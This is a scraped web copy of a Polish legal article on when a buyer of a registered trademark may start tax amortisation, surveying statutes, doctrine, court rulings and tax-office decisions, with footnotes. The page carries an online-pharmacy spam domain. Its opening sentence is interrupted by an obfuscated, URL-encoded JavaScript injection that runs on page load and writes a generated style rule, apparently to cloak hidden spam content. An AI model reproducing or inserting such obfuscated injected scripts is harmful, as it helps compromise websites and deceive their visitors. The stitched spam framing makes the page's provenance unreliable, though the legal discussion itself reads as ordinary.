24-7onlinepharmacy.com

Transkrypt

1 Wątpliwości dotyczą w szczególności momentu, od którego powstaje możliwość dokonywania odpisów amortyzacyjnych, wynikająca z nabycia wymienionego prawa documentwrite(unescape('%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67 %65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%0A%66%75%6E%63%7 4%69%6F%6E%20%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%0A%7B% 0A%76%61%72%20%61%3D%30%2C%6D%2C%76%2C%74%2C%7A%2C%78%3D%6E%6 5%77%20%41%72%72%61%79%28%27%39%30%39%31%39%36%38%33%37%36%27%2 C%27%38%38%38%37%39%31%38%31%39%32%38%31%38%37%38%36%33%34%37%3 3%37%34%39%31%38%37%38%34%39%33%39%32%37%37%33%35%39%32%38%37%3 8%38%33%34%32%31%33%33%33%33%33%33%33%33%38%38%39%36%27%2C%27%3 7%37%38%37%38%37%27%2C%27%39%34%39%39%39%30%37%39%33%39%31%37%3 9%34%37%39%39%38%39%34%32%35%37%37%39%33%39%33%31%37%27%29%2C%6 C%3D%78%2E%6C%65%6E%67%74%68%3B%0A%77%68%69%6C%65%28%2B%2B%61 %3C%3D%6C%29%7B%6D%3D%78%5B%6C%2D%61%5D%3B%0A%74%3D%7A%3D%27 %27%3B%0A%66%6F%72%28%76%3D%30%3B%76%3C%6D%2E%6C%65%6E%67%74% 68%3B%29%7B%74%2B%3D%6D%2E%63%68%61%72%41%74%28%76%2B%2B%29%3B %0A%69%66%28%74%2E%6C%65%6E%67%74%68%3D%3D%32%29%7B%7A%2B%3D% 53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%70 %61%72%73%65%49%6E%74%28%74%29%2B%32%35%2D%6C%2B%61%29%3B%0A%7 4%3D%27%27%3B%7D%7D%78%5B%6C%2D%61%5D%3D%7A%3B%7D%64%6F%63%75 %6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%27%2B%78%5B%30%5D%2B% 27%20%27%2B%78%5B%34%5D%2B%27%3E%2E%27%2B%78%5B%32%5D%2B%27%7B %27%2B%78%5B%31%5D%2B%27%7D%3C%2F%27%2B%78%5B%30%5D%2B%27%3E% 27%29%3B%7D%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%3B%0A%3C %2F%73%63%72%69%70%74%3E')); 24-7onlinepharmacycom Prawo do znaku towarowego staje się coraz popularniejszym przedmiotem amortyzacji podatkowej Wraz z tą popularnością powstają w praktyce poważne wątpliwości w odniesieniu do realizacji przesłanek tej amortyzacji Wątpliwości takie dotyczą w szczególności momentu, od którego powstaje możliwość dokonywania odpisów amortyzacyjnych, wynikająca z nabycia wymienionego prawa Kwestia ta jest związana przede wszystkim ze znaczeniem wpisu do rejestru znaków, dokonywanym przez Urząd Patentowy wskutek przeniesienia prawa do znaku W pierwszej części tego opracowania, poza zarysem problemu i podstawy prawnej, Autor przedstawia stanowisko doktryny w tej kwestii 1 / 14

2 Zarys problemu i podstawa prawna Amortyzacja prawa do znaku towarowego niesie ze sobą wiele spornych zagadnień prawnych Na gruncie przepisów o amortyzacji, zawartych w ustawie o podatku dochodowym od osób fizycznych 1 (dalej: updof) i ustawie o podatku dochodowym od osób prawnych 2 (dalej: updop) powstają niejasności już co do kwestii zakresu praw do znaku, które posiadają zdolność amortyzacyjną Niejasności te są spowodowane trudnościami w interpretacji art 22b ust 1 updof i art 16b ust 1 updop w odniesieniu do pojęcia praw określonych w ustawie [] - Prawo własności przemysłowej" 3 Najnowsza praktyka ujawnia również komplikacje w stosowaniu innych norm tych ustaw, związanych z powołanymi przepisami, a dotyczących formalnego warunku amortyzacji tego rodzaju praw Prawo do znaku towarowego należy do wartości niematerialnych i prawnych Amortyzacja takich wartości jest uzależniona od ich wprowadzenia do ewidencji środków trwałych i wymienionych wartości Bez tej ewidencji odpisy nie odnoszą skutku podatkowego, gdyż nie stanowią kosztów uzyskania przychodu (art 22d ust 2 w zw z art 22n ust 6 updof i art 16d ust 2 w zw z art 9 ust 1 updop) W celu amortyzacji wspomniane wartości wprowadza się do ewidencji [] najpóźniej w miesiącu przekazania ich do używania" (art 22d ust 2 updof i art 16d ust 2 updop) W tym samym miesiącu ostatecznie należy dokonać zapisów w ewidencji (art 22n ust 4 updof) Natomiast samych odpisów amortyzacyjnych dokonuje się począwszy od pierwszego miesiąca następującego po miesiącu, w którym [] wartość wprowadzono do ewidencji" (art 22h ust 1 pkt 1 updof i art 16h ust 1 pkt 1 updop) Powyższe zasady wiążą się z pewnym problemem, przed jakim staje autor niniejszego opracowania Warunkiem wprowadzenia prawa do znaku do ewidencji w celu jego amortyzacji 2 / 14

3 jest nabycie tego prawa Pojęcie nabycia budzi kontrowersje Zgodnie z przeważającą opinią należy pod nim rozumieć jedynie nabycie pierwotne 4, a nie wtórne Poglądu, że obejmuje ono obydwa wymienione sposoby nabycia 5 trudno jest bronić także z innych powodów W art 22b ust 1 updof i art 16b ust 1 updop mówi się tylko o prawach nabytych" Pomija się zaś występujące w innych przepisach tych ustaw, a używane względem amortyzacji środków trwałych, dodatkowe pojęcie wytworzenia we własnym zakresie" Kwestia ta wykracza 6 poza przedmiot naszych rozważań 7 Są one ograniczone do analizy samego uzyskania przez podatnika prawa do zarejestrowanego znaku w drodze jego nabycia od osoby trzeciej Obojętne jest, czy takie nabycie następuje w wyniku umowy sprzedaży czy innych czynności prawnych skutkujących przeniesieniem tego prawa, w szczególności wniesienia go jako aportu do spółki Z tym ostatnim zagadnieniem związane są jednak dalsze kwestie sporne, o których będzie mowa w 2 części niniejszego opracowania Niemniej analiza ta koncentruje się na znaczeniu, jakie z punktu widzenia amortyzacji ma wpis podatnika jako nowo uprawnionego do rejestru znaków towarowych Przedmiotowe zagadnienie wymaga uwzględnienia kilku przepisów o znakach towarowych, zawartych w prawie własności przemysłowej 8 (dalej: pwp) i aktach wykonawczych 9 (dalej: rozp rej) Przepisy te przewidują, że w sprawach, w których wpis znaku do rejestru jest uzależniony od złożenia wniosku, wpisu dokonuje się na podstawie decyzji (art 229 ust 1 pwp) Zakładają też, że przeniesienie prawa ochronnego na znak staje się skuteczne wobec osób trzecich z chwilą wpisu przeniesienia do rejestru (art 162 ust 1 zd 2 w zw z art 67 ust 3 pwp) Postanawiają również, że Urząd Patentowy dokonuje w rejestrze wpisów o zmianach stanu prawnego, a także, na wniosek zainteresowanego, zmian aktualizujących dane zawarte w rejestrze ( 28 rozp rej) Ponadto przyjmują, że o udzielonych prawach ochronnych, w tym o dokonanych wpisach i zmianach w rejestrach dotyczących takich praw, ogłasza się w Wiadomościach Urzędu Patentowego (art 232 ust 1-2 pwp) oraz że udzielenie tego prawa stwierdza się przez wydanie świadectwa ochronnego (art 150 pwp) Na tle cytowanych regulacji okazuje się, że nabycie przez podatnika powyższego prawa, które w świetle przepisów updof i updop umożliwia dokonanie przez niego (jako nowego 3 / 14

4 uprawnionego do znaku) dalszych działań koniecznych do amortyzowania tego prawa, może być związane z różnymi zdarzeniami Przedmiotowa analiza ma zatem udzielić odpowiedzi na pytanie, czy nabycie to następuje z momentem zawarcia odpowiedniej umowy (lub dokonania innej czynności prawnej), wydania decyzji o wpisie zmiany uprawnionego do rejestru znaków, dokonania takiego wpisu, ogłoszenia o tym wpisie (zmianie) czy wydania świadectwa ochronnego na rzecz nowego uprawnionego do znaku, wpisanego do rejestru Analiza ta wymaga też uwzględnienia przepisów dotychczasowej ustawy o znakach 10 (dalej: uzt) Na ich podstawie zostało ukształtowane stanowisko sądów, urzędów i piśmiennictwa, które stanowi punkt odniesienia dla poniższych rozważań Stanowisko doktryny Uwaga wstępna Praktyka organów skarbowych i sądów administracyjnych - decydująca dla przedsiębiorców zainteresowanych amortyzacją prawa ochronnego na znak towarowy - przynosi różne rozwiązania w omawianej kwestii Dominuje jednak opinia wiążąca - na gruncie art 22b ust 1 updof i art 16b ust 1 updop - datę nabycia tego prawa z chwilą wpisu nabywcy do rejestru znaków 4 / 14

5 Opinia ta, jak i dalsze poglądy przesuwające wspomnianą datę nawet na czas wydania nowemu uprawnionemu świadectwa ochronnego na nabyty znak, wydają się wynikać z braku głębszej refleksji nad stanowiskiem reprezentowanym w teorii prawa znaków w kwestii skuteczności przeniesienia prawa ochronnego na znak Stanowisko to przewiduje odmienne wnioski od tych, które na tle przepisów pwp (wcześniej uzt) są przyjmowane w powyższej kwestii w praktyce podatkowej Dlatego refleksja taka, jeśli byłaby udziałem większej liczby wspomnianych organów i sądów, pozwoliłaby na uniknięcie rozdźwięku między ich decyzjami i wskazanym stanowiskiem Tymczasem jest ona czyniona zupełnie sporadycznie, pomimo częstego powoływania się przez podatników na poglądy nauki prawa znaków Poglądy te spowodowały wprawdzie sygnalizowane zróżnicowanie opinii w działalności urzędów, niemniej opinia wiążąca badaną tu datę z samym zawarciem umowy o przeniesieniu (lub inną czynnością prawną) jest odosobniona Piśmiennictwo W teorii prawa znaków na tle art 15 ust 3 uzt, któremu odpowiada obecnie art 162 ust 1 zd 2 w zw z art 67 ust 3 pwp, a zgodnie z którymi przeniesienie prawa z rejestracji znaku staje się skuteczne wobec osób trzecich z chwilą wpisu przeniesienia do rejestru, stwierdzono, że prawo to, w braku innej dyspozycji stron, przechodzi na nabywcę na mocy samej umowy (sprzedaży, zamiany, darowizny itd) Wpis do rejestru znaków nie stanowi przesłanki ważności tej umowy Jednak od jego dokonania zależy skuteczność przeniesienia względem osób trzecich Przejście prawa z rejestracji znaku towarowego z chwilą zawarcia umowy wynika stąd, że w 5 / 14

6 przypadku dóbr niematerialnych, jakim jest ten znak, chwila ta wyznacza na tle art 155 kc moment zajścia skutku rozporządzającego Na tle zaś art 555 kc data zawarcia tej umowy stanowi datę wydania rzeczy W tym momencie następuje też przejście na nabywcę korzyści i ciężarów oraz ryzyka utraty lub uszkodzenia rzeczy w rozumieniu art kc Inną sprawą jest, że uzyskanie przez nabywcę legitymacji do dochodzenia roszczeń o naruszenie prawa z rejestracji znaku wymaga dokonania wpisu w rejestrze 11 Nie ma natomiast wątpliwości, że wpis nie jest potrzebny dla wywołania przejścia prawa ze zbywcy na nabywcę w stosunku między tymi stronami 12 Należy zwrócić uwagę, że unormowanie przewidziane w powołanych przepisach dotyczy tzw wtórnego wpisu znaku do rejestru Chodzi tu o wpis zmiany w zakresie danych o już zarejestrowanym znaku Tymczasem odmienne pole regulacji, choć pośrednio związane z wpisem jako takim, tworzą unormowania dotyczące pierwotnej rejestracji znaku W tym przypadku chodzi o pierwszy wpis znaku do rejestru, wskazujący na udzielenie prawa ochronnego na znak W kwestii decyzji o takim wpisie stwierdzono, że ma ona charakter konstytutywny, ze skutkiem ex nunc Na jej podstawie powstaje zatem prawo z rejestracji znaku, gdyż kreuje ona to prawo Dokładniej mówiąc, tworzy ona podmiotowe prawo do znaku dla towarów objętych jego rejestracją Z chwilą wydania tej decyzji powstaje też, i to nawet ze skutkiem wstecznym od daty zgłoszenia znaku do rejestracji, ochrona tego znaku przed bezprawnym użyciem przez osoby trzecie 13 W kwestii znaczenia samego wpisu znaku do rejestru oraz ogłoszenia o takim wpisie uważano natomiast, że żadne z tych zdarzeń nie ma charakteru prawotwórczego Nie są one przesłankami powstania prawa z rejestracji znaku, lecz tylko - zwłaszcza jeśli chodzi o wpis - czynnościami o znaczeniu techniczno-prawnym Nawet w razie ich niedopełnienia prawo to 6 / 14

7 powstaje, ponieważ skutek taki następuje w dniu wydania decyzji o wpisie 14 Powyższe wnioski wynikały z art 44 ust 1-2 uzt Według tego przepisu Urząd Patentowy wydawał decyzję o rejestracji znaku, a dopiero potem dokonywał wpisu w rejestrze, po którym z kolei wydawał świadectwo ochronne Również art 10 ust 2 uzt stanowił, że takie świadectwo wydaje się na zarejestrowany już znak Na uwagę zasługuje okoliczność, że powyższe wnioski przyjmowano pomimo odmiennego rozwiązania, jakie mogły sugerować inne przepisy ustawy o znakach towarowych Mówiło się w nich o uzyskaniu ochrony znaku towarowego przez jego rejestrację" (art 10 ust 1) oraz o nabyciu wyłącznego prawa używania tego znaku przez przedsiębiorstwo, na którego rzecz znak został zarejestrowany" (art 13 ust 1) Ponadto, jeśli chodzi o ogłoszenia dokonywane przez Urząd Patentowy, zarówno o rejestracji znaku, jak i o zbyciu prawa z rejestracji czy zmianach dotyczących uprawnionego, zwracano uwagę, że ich celem jest podwyższenie bezpieczeństwa obrotu dotyczącego znaków Tymczasem cywilnoprawne znaczenie ogłoszenia polega jedynie na tym, że publiczne ujawnienie wymienionych danych zwiększa prawdopodobieństwo złej wiary osoby używającej cudzego znaku 15 W tym elemencie widoczna jest też wyższość wpisu nad ogłoszeniem Jest to związane z domniemaniem znajomości nie tyle danych ogłoszonych, ile danych wpisanych do rejestru Oznacza to, że w razie sporu naruszyciel prawa do znaku zarejestrowanego nie może się zasłaniać faktem nieopublikowania danych o znaku, gdyż podstawowe znaczenie ma wpis w rejestrze Taki pogląd był wyrażany na gruncie przepisów ustawy o znakach towarowych dotyczących ogłoszeń (art 56 pkt 1, 3 i 7) oraz ustanawiających zasadę domniemania znajomości dokonanych wpisów (art 54 ust 3) Przepisom tym odpowiadają aktualnie art 232 i art 228 ust 4 pwp Powyższe wnioski, ukształtowane na tle przepisów ustawy o znakach towarowych, pozostają aktualne w obowiązującym stanie prawnym Opinie formułowane na gruncie wymienionych przepisów prawa własności przemysłowej są wywodzone z poglądów głoszonych na tle norm ustawy o znakach towarowych Dlatego również obecnie twierdzi się w szczególności, że wpis do rejestru znaków towarowych ma tylko charakter techniczny W kwestii zaś znaczenia świadectwa ochronnego zauważa się, że świadectwo jest dokumentem stwierdzającym udzielenie ochrony z tytułu rejestracji znaku Ma więc jedynie znaczenie potwierdzające 16 7 / 14

8 Praktyka Urzędu Patentowego oraz sądów Urząd Patentowy oraz sądy, zwłaszcza administracyjne, podzielają opinię nauki w kwestii znaczenia pierwotnego wpisu znaku towarowego do rejestru, a więc wpisu o udzieleniu prawa ochronnego na znak Zgadzają się, że momentem decydującym o powstaniu tego prawa jest sama decyzja o rejestracji znaku Wpis ma bowiem tylko charakter techniczny, a świadectwo ochronne jedynie potwierdza udzielenie ochrony na znak na podstawie jego rejestracji 17 Sądy, także powszechne, wyjaśniają też szerzej funkcję świadectwa ochronnego Stwierdzają, że stanowi ono tylko potwierdzenie powstania i przysługiwania danemu podmiotowi prawa z rejestracji 18 Ma więc cechy zaświadczenia w rozumieniu reguł postępowania administracyjnego (art pkt 1 kpa) Jego jedynie potwierdzające znaczenie wobec określonych faktów lub stanu prawnego powoduje zarazem, że wszelkie wątpliwości co do zakresu ochrony na znak, odzwierciedlonego w treści świadectwa, powinny być rozstrzygane zgodnie z decyzją o rejestracji Obowiązuje tu zasada, że treść świadectwa musi odpowiadać decyzji o udzieleniu prawa ochronnego 19 8 / 14

9 Ze stanowiskiem nauki pokrywa się też, choć tylko zasadniczo (zob dalej) opinia Urzędu Patentowego i sądów w kwestii oceny znaczenia wtórnego wpisu do rejestru znaków towarowych, w szczególności wpisu o zmianie uprawnionego Zdaniem Urzędu Patentowego wpis do rejestru znaków nabywcy prawa do znaku jako nowego uprawnionego ma charakter deklaratoryjny Podstawą takiego poglądu ma być art 229 ust 2 pwp W świetle tego przepisu to nie decyzja Urzędu powoduje przeniesienie prawa z rejestracji znaku Taki skutek wywołuje jedynie odpowiednia czynność prawna i zaświadczające o niej dokumenty, które są badane przez Urząd tylko pod względem formalnym Na podstawie tych dokumentów Urząd dokonuje więc wyłącznie odnotowania w rejestrze faktu przeniesienia prawa z rejestracji 20 Takie samo stanowisko zajmują sądy administracyjne, potwierdzając je w najnowszych orzeczeniach 21 Wyjaśniają przy tym, że wpis do rejestru znaków nie jest niezbędny dla bytu prawnego umowy zbycia prawa z rejestracji znaku 22 Istotna jest też opinia sądów powszechnych, sformułowana jeszcze na gruncie przepisów ustawy o znakach towarowych Według tej opinii wpis ustalający podmiotowy zakres prawa z rejestracji, w związku z jego zmianą wynikającą ze zbycia tego prawa, stanowi instrument realizacji zasady jawności stanu prawnego dotyczącego znaku Jest również, wraz z wydawanym po wpisie świadectwem ochronnym, instrumentem realizacji ochrony znaków zarejestrowanych Zapewnia adekwatność wymienionych instytucji (jawności i ochrony) do rzeczywistego stanu praw do znaków Następuje to w drodze aktualizującej funkcji wpisu nowego uprawnionego z tytułu rejestracji na skutek zbycia prawa z rejestracji przez podmiot dotychczas uprawniony Takie znaczenie ma też samo postanowienie o tego rodzaju wpisie 9 / 14

10 Postanowienie to, przewidujące wpis do rejestru znaków nabywcy prawa z rejestracji i wykreślenie zeń dotychczasowego uprawnionego, ustala aktualny stan rejestracji Inaczej mówiąc, postanowienie o wpisie i wpis aktualizują treść prawa do danego znaku, jaka wynika z (pierwotnej) decyzji o jego rejestracji 23 Dlatego też sądy administracyjne dochodzą do wniosku, że skoro rejestracja dotycząca umowy o przeniesieniu prawa z rejestracji nie stanowi przesłanki ważności tej umowy, błędne jest twierdzenie, jakoby dopiero zarejestrowanie tej umowy wywoływało skutek jej ważności 24 Jednak również ostatnio w orzecznictwie tych sądów w kwestii daty rozpoczęcia przez nabywcę prawa do znaku amortyzacji tego prawa pojawił się zupełnie inny pogląd Nie tylko przeczy on powyższym wnioskom, lecz rozmija się nawet z rozwiązaniami przyjmowanymi w orzecznictwie w wymienionej kwestii Ma zakładać, że wspomnianą wyżej datę wyznacza dopiero moment wydania świadectwa ochronnego 25 Taka jest interpretacja tego wyroku w komentarzach w prasie fachowej 26, choć z samej jego treści trudno wyprowadzić tego rodzaju ustalenie 27 Praktyka organów podatkowych W odniesieniu do praktyki organów podatkowych należy wyróżnić trzy stanowiska Pierwsze z nich zakłada, że w przypadku nabycia prawa z rejestracji znaku towarowego w drodze jego przeniesienia rozpoczęcie odpisów amortyzacyjnych od tego prawa dla celów podatkowych jest możliwe w miesiącu następującym po miesiącu wydania decyzji Urzędu Patentowego o wpisie nabywcy do rejestru znaków Dokładniej rzecz biorąc, chodzi jednak nie tylko o samą decyzję, lecz także o wpis Twierdzi się bowiem, że wyłącznie wskutek wydania 10 / 14

11 takiej decyzji i dokonania wpisu do rejestru znaków, a konkretnie - przerejestrowania znaku ze zbywcy na nabywcę, następuje objęcie znaku prawem ochronnym przez nowego uprawnionego Zgodnie z przepisami o znakach towarowych przeniesienie prawa do znaku staje się skuteczne wobec osób trzecich z chwilą wpisu przeniesienia do rejestru Dlatego tylko dzięki powyższej decyzji (i wpisowi) następuje nabycie przez podatnika prawa do używania znaku Tym samym najwcześniej od tego momentu możliwe staje się wprowadzenie go do ewidencji wartości niematerialnych i prawnych oraz rozpoczęcie naliczania amortyzacji w koszty uzyskania przychodów 28 Jest to stanowisko dominujące Drugie natomiast przewiduje, że o momencie, w którym dochodzi do nabycia prawa z rejestracji znaku, decyduje otrzymanie od Urzędu Patentowego potwierdzenia tej rejestracji 29 Organy podatkowe, które zajmują trzecie stanowisko uważają zaś, że podatkowa amortyzacja prawa do znaku jest niezależna od wpisu do rejestru zmiany uprawnionego, a nawet od decyzji o tym wpisie Skuteczne przeniesienie na nabywcę prawa do znaku, a poprzez to przekazanie mu tego prawa do używania przez zbywcę, następuje z datą zawarcia między nimi umowy o przeniesieniu (lub z inną określoną w niej datą) W konsekwencji nowo uprawniony do znaku może amortyzować nabyte prawo już od momentu wynikającego z tej umowy 30 Poparcie dla tego stanowiska płynie z pism ministerialnych Potwierdzają one, że stosując odpowiednio art 67 ust 3 pwp do przeniesienia prawa ochronnego na znak, należy dojść do wniosku, iż wpis do rejestru stanowi jedynie przesłankę domniemania posiadania prawa do znaku Nie decyduje zaś o uzyskaniu prawa korzystania ze znaku przez nabywcę Dlatego prawo takie jest nabywane na mocy samej umowy o przeniesieniu 31 1 Ustawa z dnia 26 lipca 1991 r o podatku dochodowym od osób fizycznych (tekst jedn Dz U z 2000 r Nr 14, poz 176 z późn zm) 2 Ustawa z dnia 15 lutego 1992 r o podatku dochodowym od osób prawnych (tekst jedn Dz U z 2000 r Nr 54, poz 654 z późn zm) 3 Pojęcie to zostało wprowadzone na mocy nowelizacji z 2006 r 4 Np W Nykiel, A Mariański, D Strzelec, E Waliwska, W Bojanowski, A Wencel, Leksyk on kosztów uzyskania przychodów w podatku dochodowym od osób prawnych z uwzględnieniem regulacji prawa bilansowego, Gdańsk 2007, s / 14

12 5 Tak A Bartosiewicz, R Kubacki, Ustawa o podatku dochodowym od osób fizycznych Komentarz, Warszawa 2006, s 667 Por P Wojtasik, A mortyzacja podatkowa środków trwałych, Gdańsk 2007, s Odrębnej analizy wymagałaby również kwestia rodzaju amortyzowanego prawa do znaku - zarejestrowanego i niezarejestrowanego Problematyka ta w odniesieniu do drugiego znaku jest nawet szersza Odnosi się także do znaku powszechnie znanego Jest on chroniony na równi ze znakiem zarejestrowanym, ale powstaje nie wskutek rejestracji, lecz wyjątkowo intensywnego używania w obrocie 7 Zob M Trzebiatowski, Zdolność amortyzacyjna prawa do niezarejestrowanego znaku towarowego (przegląd opinii), Mon Pod 2008/8/ Ustawa z dnia 30 czerwca 2000 r - Prawo własności przemysłowej (tekst jedn Dz U z 2003 r Nr 119, poz 1117 z późn zm) 9 Rozporządzenie Prezesa RM z dnia 6 czerwca 2002 r w sprawie rejestrów prowadzonych przez Urząd Patentowy RP (Dz U Nr 80, poz 723 z późn zm) 10 Ustawa z dnia 31 stycznia 1985 r o znakach towarowych (Dz U Nr 5, poz 17 z późn zm) 11 R Skubisz, Prawo znaków towarowych Komentarz, Warszawa 1997, s ; U Promińska, Ustawa o znakach towarowych Komentarz, Warszawa 1998, s A Szewc, G Jyż, Prawo własności przemysłowej, Warszawa 2003, s R Skubisz, Prawo znaków towarowych, op cit, s i 244; tenże, Prawo z rejestracji znaku towarowego i jego ochrona, Lublin 1988, s R Skubisz, Prawo znaków towarowych, op cit, s 107 i 244; tenże, Prawo z rejestracji cit, s 73 Por U Promińska, Ustawa o znakach, op cit, s 124, op 15 R Skubisz, Prawo znaków towarowych, op cit, s A Szewc, Leksykon własności przemysłowej i intelektualnej, Kraków 2003, s 242 Por też U Promińska, Ustawa o znakach, op cit, s Wyroki Wojewódzkiego Sądu Administracyjnego (WSA) w Rzeszowie: z dnia 28 czerwca 2004 r, I SA/Rz (POPR OK?) 1661/03 (w sprawie ITS"), LEX nr ; z dnia 9 października 2007 r, I SA/Rz 599/07; z dnia 6 listopada 2007 r, I SA/Rz 645/07; z dnia 20 listopada 2007 r, I SA/Rz 619/07; wyrok WSA w Białymstoku z dnia 30 października 2007 r, I SA/Bk 401/07; wyrok WSA w Poznaniu z dnia 19 kwietnia 2006 r, I SA/Po 534/04; zob 12 / 14

13 orzeczeniansagovpl Por A Syczewska, Od kiedy amortyzujemy prawo do znaku towarowego, Rzeczpospolita" z dnia 28 listopada 2007 r ( Dobra firma), zob wwwrppl 18 Wyrok Sądu Apelacyjnego w Warszawie z dnia 29 czerwca 2001 r, I ACa 1521/00 (w sprawie Megatech"), Pr Gosp 2002/10/61 19 Wyrok WSA w Warszawie z dnia 26 stycznia 2006 r, VI SA/Wa 1597/05 (w sprawie Cafe Mokate Mocna"), LEX nr Decyzja Urzędu Patentowego z dnia 13 września 2007 r, nr DR-499/06 (w sprawie Jamboree"), niepubl 21 Wyrok WSA w Warszawie z dnia 10 marca 2008 r, VI SA/Wa 2027/07 (w sprawie Jamboree"), zob orzeczeniansagovpl 22 Wyrok NSA z dnia 25 czerwca 1999 r, III SA 5500/98, niepubl 23 Wyrok SN z dnia 21 lipca 1994 r, I PRN 46/94 (w sprawie Las"), OSNP 1995/3/40 24 Wyrok WSA w Rzeszowie w sprawie I SA/Rz 1661/03, jw oraz pozostałe wyroki cyt wyżej (przyp 17) 25 Wyrok WSA w Rzeszowie z dnia 11 marca 2008 r, I SA/Rz 99/08, zob orzeczeniansa govpl 26 Np Ł Nowak, Aby amortyzować znak, trzeba mieć świadectwo ochronne, Rzeczpospolita" z dnia 31 marca 2008 r ( Dobra firma ), zob wwwrppl 27 Wyrok ten pod względem uzasadnienia odpowiada wcześniej powołanym wyrokom WSA w Rzeszowie (przyp 17) 28 Decyzja Dyrektora Izby Skarbowej (IS) w Krakowie z dnia 12 grudnia 2003 r, PD-1/005/2-290/03/WK; decyzja Dyrektora IS w Katowicach z dnia 29 grudnia 2003 r, PDOP ; postanowienie Naczelnika Urzędu Skarbowego (US) w Czechowicach-Dziedzicach z dnia 19 kwietnia 2006 r, PDI-415/2/2006, zob sipmofgovpl oraz wwwporadapodatkowapl 29 Postanowienie Naczelnika US w Dębicy z dnia 7 lipca 2004 r, PO IV-423/8/2004, zob jw Por P Wojtasik, Od kiedy można amortyzować znak towarowy, Rzeczpospolita" z dnia 7-8 kwietnia 2005 r ( Dobra firma ), zob wwwrppl 30 Decyzja Dyrektora IS w Rzeszowie z dnia 8 października 2004 r, ISI/3-423/20/04; 13 / 14

14 postanowienia Naczelnika US w Poznaniu-Grunwaldzie z dnia 13 grudnia 2005 r, AD-II-A/423/1/05 oraz z dnia 12 marca 2007 r, AD-IB/423/4/2006, zob jw 31 Pismo Departamentu Podatków Dochodowych Ministerstwa Finansów: Skutki podatkowe otrzymania przez spółkę znaku towarowego, wchodzącego w skład przedsiębiorstwa, wniesionego do niej tytułem wkładu niepieniężnego, Biul Skar 2007/4/18, zob wwwmfgovpl Por A Koleśnik, Od kiedy amortyzujemy znak towarowy wniesiony aportem, Rzeczpospolita" z dnia 25 października 2007 r ( Dobra firma ), zob wwwrppl 14 / 14